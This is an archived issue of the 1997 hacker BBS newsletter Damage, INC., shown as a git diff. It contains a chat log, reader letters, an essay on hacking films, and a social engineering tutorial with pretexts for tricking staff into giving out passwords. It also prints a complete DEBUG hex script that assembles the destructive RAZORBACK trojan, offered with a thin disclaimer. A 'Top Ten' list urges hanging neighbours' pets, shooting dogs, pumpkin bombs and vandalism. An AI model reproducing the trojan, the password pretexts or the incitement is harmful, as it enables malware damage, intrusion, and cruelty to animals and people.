+LORDICON Sends U back To Discreet & Elite... + +.ùøøù..ùøøù..ùøøù..ùøøù..ùøøù..ùøøù..ùøøù..ùøøù..ùøøù..ùøøù..ùøøù..ùøøù..ùøøù. +LORDICON jumps in to chat... +øù..ùøøù..ùøøù..ùøøù..ùøøù..ùøøù..ùøøù..ùøøù..ùøøù..ùøøù..ùøøù..ùøøù..ùøøù..ùø + +hi...i can't talk sorry... -L + +Why not? -B + +grounded :( ...heh heh, damage inc. ...lame old hacking stuff... -L + + +.ùøøù..ùøøù..ùøøù..ùøøù..ùøøù..ùøøù..ùøøù..ùøøù..ùøøù..ùøøù..ùøøù..ùøøù..ùøøù. +LORDICON jumps in to chat... +øù..ùøøù..ùøøù..ùøøù..ùøøù..ùøøù..ùøøù..ùøøù..ùøøù..ùøøù..ùøøù..ùøøù..ùøøù..ùø + +Hey.. how's it going? -B + +fine :) ya, ok, I have lotz of homework 2 do so I gotta be quick ok... -L + +okay. You have lots of homework already? -B + +of course...I goto a private skool :( :) heh heh, ya we gotta wear a uniform +(expensive) but it's comfortable -L + +What school do you go to? -B + +SJK (st john's kilmarnock) a little skool out by maryhill between gwelf and +kW...ok, anywayz...assembly...why sort r we talking about like 6502 assembly +or like 8386 or whatever? -L + +8086/88. I was just wondering, why did you call your board discrete and elite? +Does it have warez? -B + +some, it's more of a name...u know, like Alien Horizons is just a name, it's +not really some horizon with alien's on it...heh heh...mainly a cool rhyming +name...ok but assembler!!!! :) -L + +Okay, I know how to program in assembly. I'm new to calling Guelph boards, +so I don't know what Alien Horizons is all about. Anyways, why were you +saying before that you hate hacking/phreaking? -B + +old and lame...people who are NEW to it think it's cool...all hacking is +really if finding someone's PW cuz they made it easy to crack...more luck +than skill in hacking and preaking is also lame, none of the like red or blue +or other boxes really work...only thing that works is physically SPLICING the +cables... it's just lame, and lame to see ppl with no experience saying...OH +IT'S SOOO COOL... :) Can u UL me an assembly manual and an assembler? -L + +Yeah, sure man.. right after we chat. I'm new to this and you're teaching me +some things and giving me good information. What do you know about +carding/anarchy? -B + +I know that anarchy was origionally an antigovernment movement in europe that +-- where some asshole decided to use bombs to highlight his opinions...so all +use stupid idiots in canada and the US think that anarchy is breaking pop +machines and blowing stuff up...YA RITE!...anywayz, carding is practically +impossible unless u, again, PHYSICALLY get a card under some fake accound and +like over draw on the account...see, it's not anything cool it's just luck! -L + +Okay. Is Freedom of Information Archives a good source of information for +that type of stuff? -B + +ya, if u like it...I guess, I DL'd a whole ton of that stuff when I used to +think it was cool...too bad it was about 8 year or so out of date...and +besides, things like the black box OBVIOUSLY don't work...it's just cutting +up a fone and sticking a light on one of the wires...and the guy who wrote +the file says it makes the bell computers think ur still ringing and havn't +picked up yet...oh well... -L + +Do you still call FoI? -B + +nope...no point...I don't like the stuff...I'm into games...way more fun and +diverse than "hacking" -L + +Okay, I read somewhere that you were deleted from there. ;) -B + +ya, the sysop kicked me off (I was his cosysop) and I implimented a cool lite +bar menu system for all the mojor menu's on the board...so like on the main +menu u press up and down and left and right to move a cursor around and hit +space when the cursor is on the desired item and then it takes u to that +menu... +btw, I may have to brake out of the conversation for a time if my parents +come it so like, if I just stop typing for a while just hang -L + +Okay, no problem man. So, why do you think Damage, INC. is lame though? Do +you think I should stop being a member? -B + +just had to brake out then,.,glad i told u :) I don't think DI is lame +anymore, I thought it was some hacking/phreaking/anarchy thing (damage + --the word damage suggests that) -L + +Well, Damage, INC. does deal in h/p. ;) -B + +lemme guess, u figure out cracks and stuff to get into things...well, if it's +a crack for a good game or prog that's GREAT but if it's to hack some guys +hard drive with a trojan or something that's lame! -L + +What about hacking extenders/PBXs etc.? -B + +u can get caught easily on those...besides, it's better to just get the net +and use things like netfone...u can actually use a special PC card that +plugs into the fone and let's u call a person over the net voice...cool eh.. +I could call u over the net and I'm pretty sure u don't even need to be on +the net...it just calls or somthing...and it's free (cept for the 150 bucks +or so for the card) ...btw, the Web is the most boring thing now, damn that +netscape, making it all graphical and stuff...the old superfast text based +thing was cool...like a giant bbs! -L + +Yeah, what do you think about calling ld for free? -B + +lemme guess, biege boxing...too dangerous and too unrelaible...I don't have +anyone to call anywayz since I use ICQ over the net (not the web the +internet...that's 2 different things) ICQ is a real time chat prog that let's +u send files, chat and send msgs and other things with lots of people at the +same time so I just chat with my friends in KW for free over that and send +files too... -L + +What about hacking ISPs and using the internet for free? -B + +I just too my skool's net info and duplicated on my comp...that's how I log +in. -L + +What languages do you know how to program in? -B + +QuickBasic 4.0 Turing 7.05A VERY LITTLE Turbo Pascal and I'm +learning Borland C++ 5 from one of the FOR DUMMIES books -L + +Haha... Have you ever tried to program a virus/trojan? -B + +again, LAME...WHY? I don't WANT access to anyones HD and viruses are lame +and stupid...I don't like destroying or ruining things -L + +Okay, so you don't have anything like that on your board then? -B + +HELL NO...I've nearly got my entire 2.1 gig HD full of all kinds of cool +games and stuff...i don' +t want it deleted by accidentally releasing a virus on myself!!!!!! GEEZ! -L + +Haha. ;) Alright, so can I get access to your warez? -B + +it costs 5 bucks a month (much cheaper than any other board I've seen) and u +get everything...all the files, tons more options and stuff...plus access to +any tournaments I may have in games...plus all the new ONLINE GAMEs I get -L + +Would I have no ratio access if I sent in $5? -B + +ya... ...ya that's what it is...no ratio...u can DL as much as u want...plus +ud get 3 hours a day -L + +Yeah. That's *very* reasonable, but I'm not into warez. ;) -B + +Heh heh...web warez suck...they never DL properly because of all the +congestion...RRRRRRRRRRr -L + +I don't play any games. I mainly program... -B + +ya, program any games? -L +or just apps ? -L + +I program utilities, trojans, viruses etc. ;) -B + +what about like, COOL stuff...things that EVERYONE can enjoy...games, DECENT +utils that like can HELP you...etc...I'm not into virus stuff...infact, don't +bother Uploading that assembler now, I'm afraid u'll put a virus in it. -L + +I wouldn't do that. As for useful utilities, I've programmed many. Check +out the Damage, INC. Utilities sometime. They can be used by everyone. -B + +examples? -L + +Let's see, we've released a utility that can nuke files permanently. -B + +wow, I've seen that already...so basically it doesn't put that invisible tag +on the file that allows it to be written over, it just kills the file right +away? -L + +No, that isn't how it works. We've also programmed a utility called +HideDrive that can be used to hide hard drives. We've -B[LORDICON interrupted] + +how about on that can password a directory...that would be nice... -L + +AND make it undeletable unless u know the PW? -L + +Yeah, I could create a utility like that. We've also programmed a utility +to rename subdirectories and one to nuke subdirectories/trees. -B + +ok, DELTREE for dos does that and also, windows 95 can rename sub dirs +anywayz...I want something that puts PWs on directories in win and dos so +it's inaccessable from anywhere...AND make it so u can't remove the dir +unless u have the PW -L + +You said before that you wouldn't trust files that I upload. -B + +ok, I trust u now :) I just HATE viruses... -L + +Yeah, we've made quite a few utilities. You'll have to read the Damage, INC. +Utilities User Manual sometime... -B + +ok, whatever...u have a beginners manual for asm? Like one that will start +at the start...like, this is how assembly works and stuff...basically all I +know it that assembly works almost like the CPU itself, sending info to +memory addresses and calculating it there...can u do graphics with ASM? -L + +Yes. You sound like you've mastered assembly already. ;) I'll look for the +manual and upload it the next time I call. -B + +ok...and PLEASE, don't infect it!!!! -L + +Why would you assume that I'd do something like that? -B + +cuz once some asshole ULed a prog saying it was PKZIP (some newer version) +(this was on my old 386 and I have no virus scan) ...I'd chatted once with +him and we were just jokin and stuff, like I didn't tell him off or yell at +him or get him mad and the next thing he does it UL this prog saying it was +self extracting and it was really some shit exe prog (easily made in ANY +language, ie: DEL *.*) and it nuked half my HD...>:O -L + +What was their alias? -B + +I dunno, but it was common...I saw someone with the same name on another +board but it was the wrong guy... -L + +Haha.. shYueahtup!!! >:) [interrupted by LORDICON again] -B + +So, who draws the ansi for your board? -B + +me +...I use a3e...I feel that a sysop has lost his/her own personal touch of the +board... +sorry I had to brake for a sec :) ...u know what I mean, once they don't do +the ansis they don't own the board anymore. -L + +Yeah, I know what you mean. Do you have a Co-Sysop though? -B + +about 3...Rebel being my MAIN co who actually calls...the other 3 actually +being a friend of mine, my bro and another friend that donated a 4x4 cdrom +(4 disks. 4 spin) -L + +That's cool. Do they all help with the board? -B + +well, mainly reble...my bro is co by default and the other 2 barley ever call +cuz one has his own board and the other (who donated the 4x4 drive) is LD -L + +How many hard drives do you have? -B + +1...a 2.1 gig...I want to get an 8 gig... -L + +Did you just get a new system? -B + +about ...nearly a year ago...a very nice p200 MMX...top of the line back when +I got it...32 meg ram um, 15 inch monitor and a SB-AWE 32...and 8x cdrom -L + +How'd you afford to buy that? -B + +my parents did...I'm only 16... -L + +Haha. Okay, anyways, I'm busy and have to go do something. So, I'll call +tomorrow. +Later [LORDICON started fucking around again] -B + +heh heh sorry, ok laters...btw, check out the files...I have MP3s and video +game emulators and roms... -L + +Okay. I'll check it out tomorrow. -B + +ya, okie...I got that HW to finish anywayz...btw how old be u -L + +I'm 32 -B + +HAHAHAHA...and ur into hacking and stuff...NERD! :) +sorry :) it's just so KIDDISH to be into hacking and stuff...asembly is cool +tho... -L + +Yeah, that's how I make money... Anyways, I'll chat with ya later. -B + +c ya...ok...bye -L + + +LORDICON Sends U back To Discreet & Elite... + + +LETTERS TO THE EDITOR: {LETTERS} + +I received these messages on Freedom of Information Archives, and decided to +save my replies for this section of the Damage, INC. Newsletter. Send us +feedback. We'll try to publish the majority of the readable, quality letters. + + +From: Aenima Base : Damage, INC. Discussion +To : Blackened Refer #: 107 +Subj: Re: feedback Replies: 1 +Stat: Normal Origin : Local + +i have a suggestion for Damage INC. + +ahem + + "BLACKENDS TIP OF THE MONTH" +and make a tip. would take like 5-20 mins but would make it really cool! + + +From: Aenima Base : Damage, INC. Discussion +To : Blackened Refer #: 85 +Subj: Re: feedback Replies: None +Stat: Normal Origin : Local + +B> I'm looking for some feedback from the readers of the Damage, INC. Newslette +B> So, if you've read it.. reply. We're thinking about adding a letters to the +B> editor section. You write me a message with comments, suggestions, whatever +B> you want to say about the newsletter.. and I will reply to some letters in +B> the next issue. ;) + +feedback eh. hmm, well i for one thought it was well laid out easy to read, +very informative when i say well laid +out i mean like easy to follow +e.g + +when you an the journalist were chatting after he or you were done you would +say -TJ or -B very usefull also i like that method with the NWO trojan its +efective and a GOOD method. you like 40 hex? + +now some bad things i found i did not really like the table of contents +PERSOANLY i feel they should be a little neater. + +thats all i have to say other than that LITTLE thing it was very informative + +i'll never eat at burger king again :) +-------------------------------------------------------------------------------- + +Editor - Thanks for the feedback man. We always appreciate comments and + helpful suggestions. As for the interview, the -B and -TJ identifiers + were added afterwards to make it easier for readers to follow. We've + included more h/p information in this issue, and plan to gradually + increase that aspect of the Damage, INC. Newsletter. + + I have respect for Phalcon/Skism and used to read 40 Hex magazine + regularly. That's why I decided to use the debug script method, + since it's very safe and effective. + + The contents has been changed in the issue. We hope the readers find + the new format neater and easier to use. You suggested that I add + a section called "BLACKENED's Tip of the Month" and that has been + included in this issue. Thanks again for that insightful suggestion. + + I'm glad you found the first issue to be informative. As for Burger + King, my intention was to write an article that would have an impact + on anyone that read it. Your comment about never eating there again + confirms that I was successful in informing at least one reader. ;) + + +OBJECTIVE OPINIONS - {OPINIONS} + ---/ Hacking and Hollywood /--- + + Like almost everything in this world, Hacking/Phreaking has received +its share of media attention. This is expected, as nothing escapes the +watchful eye of the paparazzi. Whenever Hollywood takes an interest, +and decides to publicize events/facts in a totally distorted view, I get a +little pissed off. + I'm not talking about real events like the Internet wormhole virus, but +fictional material that portrays hacking in a certain view. Let's take the +movie "Hackers" for example. I'm sure anyone reading this has seen it just +out of curiosity. For those of you lucky enough to be warned by a fellow +h/p'er not to see it, I will recap the general theme. In the film, hacking +is glamourized; to no end. In this movie its the hackers who get the chicks, +not the jocks. Hahaha, now that's realism for ya ;). Granted, the film is +set in the future, but unfortunately the producers decided to show techniques +that have been used by hackers for years. So first of all, the first +incongruency that comes to my attention is that they give the impression hackers +are a malicious bunch of rebels, using the same technique to accomplish their +means. Despite the true reality, which is that hacking constantly changes, and +is being updated. Otherwise it wouldn't be hacking. I think in the movie, +they even have the audacity to show someone using a bluebox. I could be +wrong, but crap like this just represents hackers as idiots. It appalls me. +Another aspect of the "Hackers" movie was the hang-out spot used by the +main characters. This is essentially a "Boogie's Diner" (bad show) with +some neon lights and music. And don't forget the inline skaters, hehe. +They are portraying hacking as a social activity, something that you do +around dinner, which is hilarious. I think if they made a true hacker +movie it would either be really boring, or fucking amazing. That's how it +is when you live the lifestyle. When you eat, breathe, sleep h/p you +spend hours in a trance playing around with numerous different variables, +twiddling obscure configs and hoping it works. H/P has its exciting +moments, and its boring moments. Hollywood cannot understand this. + Another, and perhaps not quite so bad h/p flick is "The Net" with Sandra +Bullock. The producers managed to come up with some unique ideas +surrounding viruses/cryptology/hp etc. It was still too Hollywood though, +with the standard movie "template" - good guy, bad guy, conflict, a chase, +romance, happy ending. You know what I mean... far too predictable ;) +I think if a hacker movie was to be done properly, it would far more like +Pulp Fiction/Clerks/Trainspotting. Not much editing, actors that were more +hackers than actors, and a producer that wasn't bent on going mainstream +to make money. Only then could our community be properly represented. + + I am a firm hater of "Hollywood style" movies. They are all the same, +just with a slight twist in the plot, and some different actors. For those +reading this that have never experienced the thrill of hacking an extender, +or coding a trojan, pay attention closely: Hacking is nothing like you +think it is. All, and I repeat *All* of you have a misconception that h/p +is about reading text files and then doing what they say. This cannot be +further from the truth. It is about racking your brains to think of a +potential security leak. It is about brainstorming new ideas for social +engineering. Hollywood is in some cases the cause of these misconceptions. +And there is always a message in my articles. It is of vital importance +to constantly and completely evaluate all information entering your senses +throughout waking consciousness. Decide whether the data matches and fits +in with your belief system. Be aware of false data/propaganda, especially +from Big Brother, and seek out information that corresponds with your +interests. + + + + +REPORTS FROM THE FRONT - {REPORTS} + ---/ Social Engineering /--- + + So what do those big words mean? ;) If you don't know, perhaps you +should not try any of the things mentioned in this article. But enough +chatter, let's get down to business. + Throughout the history of networked computers, the biggest security +breach comes from humans. You can't beat a computer, you really can't. +Ask Blade Runner, guessing passwords just doesn't work ;). Perhaps every +now and then you find a unix terminal that hasn't got a certain bug removed, +in which case you promptly take advantage of the loophole, and give yourself +admin access. But unfortunately it's not always that easy. A certain amount +of tact must be applied if you wish to successfully break the system you've +been tracking for weeks. Trashing is one of the alternatives, but that can +be saved for another time. In this article I want to explain to you the +basics of social engineering, what it is, and perhaps answer some questions +you might find yourself asking. + So what is social engineering? Put simply, it is calling up a person +associated with your target system, and fooling them into giving you +information otherwise kept for special users. There are many variations on +this, and I encourage you not to practice any of the ideas presented here, +but think of your own. This will serve as a starting point for ideas you +create on your own. + + Let's say for example I have been scanning the exchange for carriers, and +I come across an unsupervised unix prompt. The first thing to do is record +the phone number (this will be done automatically by a wardialer). After +this I would try to find out what other numbers go with that one. I would +call say 5 number variations on either side, let me show you. + + --> 651-1502 <-- number found by scanner + 651-1497 \ + 651-1498 \ + 651-1499 \ + 651-1500 | + 651-1501 I dial these numbers off my voice phone, and + 651-1503 find out who answers, etc. + 651-1504 | + 651-1505 / + 651-1506 / + 651-1507 / + + Okay, I have dialed all of the surrounding numbers, and got some busies, +no-answers, residence lines, and 3 business lines. These are what you are +looking for, as it is quite possible they are connected to the 651-1502 +which has the carrier on the end of it. It depends now on your research +skills, as to how much you decide to find out about the companies. This +is important because there's not much point in hacking a hardware store +for example. The social engineering comes into play here, because you will +use this to find out what companies are on the other end of those voice +lines. Either divert your call or use *67 to at least fool their +call-display. I call the first number : + + Target: "Hello, Branton & Branton Co." + TJ: "Hi, can you spare 5 minutes of your time, I'm doing + a research paper for school." + Target: "Ohh, what school, etc etc." + TJ: "Guelph University, Macro-Economics & social darwinism" + (or some bullshit) + Target: "Okay, what do you need?" + TJ: "Uhm, ..What type of service does your business provide?" + Target: "Financial Assistance for retired politicians." + TJ: "ahh, okay. And what is the average annual profit for this + company?" + Target: "blah blah" + TJ: "Okay, thank you very much for your time. I appreciate your + co-operation." (be sure to be very polite, no matter what) + +This is a sample conversation with a possible hack. That is social +engineering right there. It is the ability to lie quickly, and believably. +The skill comes with practice, and once you find a good outline, you can +use it for almost any target. + Once you decide on a suitable system to hack, your focus is to get in +without drawing attention to yourself. Call the business up again, and +this time be ready to adapt your story as you go along. You are attempting +to trick this person into giving you a password, so obviously they will be +suspicious. Whatever you do, don't give up. It is an indicator you are +full of shit. You must be assertive, and pretend you are doing your job - +Unix Maintenance Engineer for the Branton & Branton Co. Network. +(or whatever you choose.) I will provide a list of possible lies that might +work on a gullible victim (because remember, some people aren't stupid, and +will figure you out. Be ready) + + -Say you just started working for the company, but have not + yet been given access to unix. Ask the secretary to set up + an account under the following name, with the following + password. (now you have an account on there) + + -Say you have been attempting to connect to the server, but + it does not seem to be connecting right. Use lots of rich + terminology to confuse the poor bitch, and at the same time + make her think you know what you're doing. This technique + when modified is unbeatable. + + -One thing to be aware of is that you should never mention + the word "password" in the first 3-5 minutes of conversation. + Give the person the impression there is something wrong with + their system, and then proceed to bullshit your way around + them verbally until they decide to give you the sysop password + or whatever your request may be. + + -You must establish yourself immediately, and don't falter. + + -One other thing I forgot to mention, for those of you who don't + have a man's voice. (pre-pubescent) ;) you can get hold of a + voice changer, from about $29.99, or use a wave editor that + takes mic input and changes the pitch to a lower one. + +Conclusion: + This information has been provided in the hopes that people will once +again seek out new ways to gain access, and also learn more about a +suspicious company, or whatever. These are strictly guidelines and should +not be followed to the letter. To anybody who successfully uses these +techniques, please let me know, I'd love to hear about it. + +

+ + +SOURCE AND SCRIPTS - {SOURCE} +The RAZORBACK trojan by Damage, INC. + +This is the long awaited, RAZORBACK trojan. It wasn't intended to be used +for malicious purposes. However, if it is used for destructive purposes then +we aren't responsible for any damage it causes. We're releasing it, but are +not condoning that type of usage. Also, we aren't hiding it in anything or +executing it on anyone else's system. It's up to you to use DEBUG to assemble +it. After that, you are supposed to use it for informational, educational +purposes to learn more about trojans. That's the disclaimer. That is also the +only warning we are going to issue to anyone reading this. ;) +Shown below is some information about memory requirements, file size and how to +use DEBUG. + +Conventional Memory : + + Name Size in Decimal Size in Hex +------------- --------------------- ------------- + RAZOR 2384 ( 2.3K) 950 + + +Clip out the RAZORBACK debug script and save it to a file called RAZOR.SCR. +Then use DEBUG < RAZOR.SCR at a DOS prompt to assemble it. The result will +be RAZOR.COM, which should be 1117 bytes. + +------------------------------------------------------------------------------- +N RAZOR.COM +E 0100 B8 F8 1B BA 9E 02 3B C4 73 67 8B C4 2D 44 03 25 +E 0110 F0 FF 8B F8 B9 A2 00 BE 7C 01 FC F3 A5 8B D8 B1 +E 0120 04 D3 EB 8C D9 03 D9 53 33 DB 53 CB 0C 01 F2 15 +E 0130 FB 09 DE 40 2A AA D4 93 78 32 34 BF 3A 04 75 98 +E 0140 C5 48 C8 62 2B D4 F0 5E 37 55 61 95 AB C2 98 E5 +E 0150 B9 02 BA 49 BF DC 70 6D 47 20 02 71 3F 14 B2 4E +E 0160 6F 74 20 65 6E 6F 75 67 68 20 6D 65 6D 6F 72 79 +E 0170 24 B8 00 09 BA 5F 01 CD 21 CD 20 90 FD 8B F8 4F +E 0180 4F BE BE 02 03 F2 8B CA D1 E9 F3 A5 FC 87 F7 46 +E 0190 46 BF 00 01 AD 95 BA 10 00 EB 32 90 AD 95 B2 10 +E 01A0 EB 3B AD 95 B2 10 EB 3C AD 95 B2 10 EB 41 AD 95 +E 01B0 B2 10 EB 63 AD 95 B2 10 EB 64 AD 95 B2 10 EB 65 +E 01C0 AD 95 B2 10 EB 66 AD 95 B2 10 72 08 A4 D1 ED 4A +E 01D0 74 F4 73 F8 33 C9 33 DB D1 ED 4A 74 BF D1 D3 D1 +E 01E0 ED 4A 74 BE D1 D3 85 DB 74 17 D1 ED 4A 74 B9 D1 +E 01F0 D3 80 FB 06 72 0B D1 ED 4A 75 04 AD 95 B2 10 D1 +E 0200 D3 2E 8A 8F 1C 01 80 F9 0A 74 3A 33 DB 83 F9 02 +E 0210 74 26 D1 ED 4A 74 97 72 1F D1 ED 4A 74 96 D1 D3 +E 0220 D1 ED 4A 74 95 D1 D3 D1 ED 4A 74 94 D1 D3 80 FB +E 0230 02 73 1E 2E 8A BF 2C 01 AC 8A D8 56 8B F7 2B F3 +E 0240 F3 A4 5E EB 88 AC 02 C8 80 D5 00 3C FF 75 BC EB +E 0250 33 D1 ED 4A 75 04 AD 95 B2 10 D1 D3 80 FB 08 72 +E 0260 D2 D1 ED 4A 75 04 AD 95 B2 10 D1 D3 80 FB 17 72 +E 0270 C2 D1 ED 4A 75 04 AD 95 B2 10 D1 D3 81 E3 DF 00 +E 0280 86 DF EB B4 33 C0 06 BB 00 01 53 8B D8 8B C8 8B +E 0290 D0 8B E8 8B F0 8B F8 CB 03 00 02 0A 04 05 00 00 +E 02A0 00 00 00 00 06 07 08 09 01 02 00 00 03 04 05 06 +E 02B0 00 00 00 00 00 00 00 00 07 08 09 0A 0B 0C 0D 90 +E 02C0 00 00 B8 09 35 CD 21 89 1E 4C 01 8C 06 4E 01 B4 +E 02D0 25 14 00 BA 19 01 0F BA F8 08 CD 27 9C 2E FF 06 +E 02E0 50 00 50 01 2E 83 3E 05 4B 72 0B 50 53 51 52 00 +E 02F0 00 06 1E 16 56 57 EB 02 EB 16 E8 1B 00 E8 1C 02 +E 0300 2E 09 00 C7 20 00 00 5F 5E 17 1F 07 5A 59 5B 58 +E 0310 6C 00 9D EA 00 01 50 9C E4 60 E4 61 8A E0 A0 00 +E 0320 0C 80 E6 61 86 E0 04 9D FA B0 20 E6 20 00 00 58 +E 0330 BA 1E 01 06 B8 40 00 8E C0 26 89 16 13 00 07 05 +E 0340 14 BB 3B BE 02 00 06 33 C0 11 D1 00 25 E3 D1 E6 +E 0350 8B 87 FE 03 87 84 04 89 01 A0 08 07 EB 00 0E 07 +E 0360 C6 06 CA 01 14 B4 2C 00 12 8D 0B D2 74 F8 02 D6 +E 0370 02 D1 02 D5 8A 0A 00 EA B0 A4 09 80 EC 06 B1 01 +E 0380 B6 01 B2 80 0A 14 BB CB AD 13 72 06 FE 0E 2B 75 +E 0390 98 CE D4 C3 00 20 01 DB 01 F7 CF 09 11 0B 8E 77 +E 03A0 04 12 DD 20 DE 11 DF EE 37 0E DD 1D 54 EE 01 CD +E 03B0 01 DE 38 D9 99 09 01 08 DD DE AF 29 03 12 DD 2A +E 03C0 CD D5 9E 0D DC 01 0B E7 E4 14 61 26 DD CD DF F3 +E 03D0 01 59 35 9E 76 68 08 DE 07 E7 54 02 12 CD DF 62 +E 03E0 DF AF 73 01 37 DE 39 9E D3 7B 62 A0 DE FB F6 DA +E 03F0 A6 03 9D B7 FF 12 01 D6 FD DC 1F 00 9D 1C 1D A0 +E 0400 EF 0D 01 22 54 68 65 20 6E 61 6D 00 00 05 73 70 +E 0410 65 61 6B 73 20 66 6F 72 20 69 74 73 50 1D 65 6C +E 0420 66 21 22 46 0C 3B 0E 07 16 40 B0 75 A9 B9 02 00 +E 0430 B6 00 00 00 AA 6E 03 CD 13 E9 40 02 52 41 5A A0 +E 0440 37 4F 52 42 41 43 4B FC 09 FC F4 E0 0E 21 09 58 +E 0450 A1 1C 01 B9 01 24 88 58 C6 05 58 EE 02 00 DE 01 +E 0460 FC 01 EF 01 53 4C 41 4D 4D 49 00 00 4E 47 20 54 +E 0470 48 52 4F 55 47 48 2C 20 44 4F 4E 27 00 E5 54 20 +E 0480 46 55 43 4B 20 57 49 16 20 23 30 43 20 53 54 45 +E 0490 50 50 0B 14 2C 29 54 3F 20 20 59 07 27 8A 2A 4C +E 04A0 4C 2A 45 45 05 0B 54 9A 52 20 48 08 09 4E B5 41 +E 04B0 18 0D 31 42 4C 4F 4F 44 29 DC 21 4F 18 4F 57 53 +E 04C0 14 50 0E 41 4E 04 57 45 20 4D 41 4B AA A8 05 53 +E 04D0 29 05 4C 49 42 B2 6B 16 49 75 69 DE B2 3E 24 27 +E 04E0 1D CA CC 80 04 43 26 7C 92 AA A9 52 4A 45 23 48 +E 04F0 30 5B 54 49 68 43 52 55 53 48 25 09 8F 41 78 56 +E 0500 49 15 4D 20 49 A7 B2 53 7F 4E 2D 45 67 4D 47 4F +E 0510 26 22 09 44 46 05 B4 03 B0 01 B5 00 08 01 04 02 +E 0520 CD 13 B2 02 50 00 E8 0F 00 E8 0C 03 09 00 FE C2 +E 0530 80 FA 18 00 00 75 F0 EB 12 52 8A C2 B9 E8 FD 33 +E 0540 D2 BB C6 07 CD 60 04 26 83 C4 02 5A C3 7B 40 04 +E 0550 D8 B8 7F 7F A3 72 00 A8 1A 00 FF FF FF +RCX +045D +W +Q +------------------------------------------------------------------------------- + + +The Journalist's Top Ten List - {TOP TEN} + "Phun things to do in the Fall..." + + 1. An oldie but a goody. Beige Box some unsuspecting idiot's + house. A bonus is if you have a laptop ;) + 2. Pour HCl around the trees and bushes in your neighbourhood. - + ruin it for those who like the fall colours. + 3. Pile the leaves from the curb into the middle of the road. + This works even better if you put half bricks, half leaves, haha. + 4. A little early, but smashing pumpkins on the walls of people's + houses always relieves stress! ;) + 5. An alternative is to put a small bomb inside it, and use a + remote detonator. Make sure you ring the doorbell before you run! + 6. Halloween & Devil's night always provide a plethora of pranks + for the amateur terrorist. Make sure you get into the spirit of + Halloween, and hang your neighbours cats/dogs from the tree. + Perhaps the tree outside the local church. + 7. Tell all your (lamer) friends that Daylight Savings Time has + been cancelled this year due to budget cutbacks. + 8. Lots of people take walks in the fall. To see the "pretty colours" + . This is the perfect opportunity to bring out the old pellet + gun, and have some phun! As a rule, only shoot the dogs they walk, + but if the neighbourhood asshole walks by, 'pop a cap in his ass' ;) + 9. Go to a snowmobile auction. Pretend to be "looking" in the gas + tank, but instead pour sugar into it. Be sure you don't miss the + expensive ones. + 10. And the final way to cause anarchy in the fall... + Sneak to the local asshole's house. Block his drainpipe by stuffing + a load of stones/dirt/concrete mixture into the top or bottom. This + will probably cause his house to flood in the spring, or even before + winter *starts*! haha, there goes the Christmas bonus ;) + +.by..the..Journalist. + + +CLOSING COMMENTS - {CLOSING} + +We had planned to include a list of h/p sites, but we decided to release all +lists separately instead. There are going to be many lists created by us and +released. They are for the purpose of using to gain more information, and by +no means should you just rely on them as your only source. As in, you have to +look for things on your own if you want to learn and become involved in the +h/p scene. Overall, I feel that the local h/p scene is starting to change. +Damage, INC. is changing the way people look at h/p, their attitudes, and +ignorance by providing them with quality, reliable information. + +Also, there are people bashing and attacking Damage, INC. in this area, yet +they don't even know what we're involved in. Instead of making assumptions, +or listening to rumours, learn the truth and get the facts straight. Just +because we include a debug script for a trojan in the newsletter, doesn't +mean we are responsible for it nuking someone or a board. Why not? Debug +scripts aren't executable files, nor are we uploading the trojan anywhere. +Therefore, it's up to you if/how the trojan is used. Think about it. ;) + +We're still looking for Writers, Members and Distribution Sites. If you'd like +to apply to Damage, INC. and join a respected h/p group, then download a copy of +the Damage, INC. Application Generator. If you want any of our releases, they +are available on the following boards: + +...AND JUSTICE FOR ALL - Damage, INC. WHQ, h/p/a/c/v/t, no ratios, invite only. +Freedom of Information Archives - Damage, INC. Dist. Site, h/p/a/c/v/t. + +Any feedback or letters to the editor should be sent to BLACKENED in Email on +a Damage, INC. board. + +- EOF diff --git a/textfiles.com/groups/DAMAGEINC/damage.003 b/textfiles.com/groups/DAMAGEINC/damage.003 new file mode 100644 index 00000000..cfa5105a --- /dev/null +++ b/textfiles.com/groups/DAMAGEINC/damage.003 @@ -0,0 +1,1244 @@ + + ÛÛÛÛÛÛÛ ÛÛÛÛÛÛ ÛÛÛÛÛÛÛÛÛ ÛÛÛÛÛÛ ÛÛÛÛÛÛÝ ÞÛÛÛÛÛÛ ÛÛÞÛÛÛÛÛÛÝÛÛÛÛÛÝ + ÍÍÍÞÛÛÛ ÛÛÛÍÞÛÛ ÛÛÛÍÞÛÛ ÛÛÝÞÛÝÞÛÛ ÛÛÛÍÞÛÛ ÍÍÍÍ ÛÛÜÜÜ ÍÍÍÍÍÞÛÝÛÛÝ ÞÛÝÞÛÛÝÍÍÍÍÍÍ +ÍÍÍÍÛÛÝ ÛÛÛÍÛÛÝÛÛÛÛÍÛÛÝÞÛÛÍÛÛÍÛÛÝÛÛÛÛÍÛÛÝÍßÛÛÝÞÛÝßßßÍÍÍÍÍÍÛÛÞÛÛ ÛÛ ÛÛÝ ÍÍÍÍÍ + ÞÛÛÛÛÛÛÛÛÞÛÛÛ ÛÛÛÞÛÛ ÛÛÝÞÛÝÞÛÛÛ ÛÛÛÞÛÛÛÛÛÛÛÝÛÛÛÛÛÛÛ ÛÛÝÞÛÝÛÛÝ ÞÛÝÞÛÛÛÛÛÝÛÛÝ + "The name speaks for itself!" ÞÝ + + Presents the + + Damage, INC. Newsletter + + November 1997 Issue #3. + + "You ain't seen nothin' yet!" + +ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ + C O N T E N T S : + + +þ INTRODUCTION - An Introduction to the Damage, INC. Newsletter. + +þ BIG BROTHER BASHING - The Internet: Big Brother's pride and joy. + ¯ Search String: {BIG BROTHER} + +þ BLACKENED'S TIP OF THE MONTH - Practical uses for batch files. + ¯ Search String: {BLACKENED} + +þ CONSPIRACIES AND COVERUPS - Mondex and Electronic Cash: From 1s to 0s. + ¯ Search String: {COVERUPS} + +þ CORRUPTION AND GREED - Corruption and Greed in our Global Markets. + ¯ Search String: {GREED} + +þ H/P INFORMATION AND NEWS - Information for newbies and h/p News. + ¯ Search String: {NEWS} + +þ INTERVIEWS AND INTERROGATIONS - An interrogation of Billy Gates. + ¯ Search String: {INTERVIEWS} + +þ LETTERS TO THE EDITOR - More feedback about the Damage, INC. Newsletter. + ¯ Search String: {LETTERS} + +þ OBJECTIVE OPINIONS - The Media - Mistakes or Misinformation? + 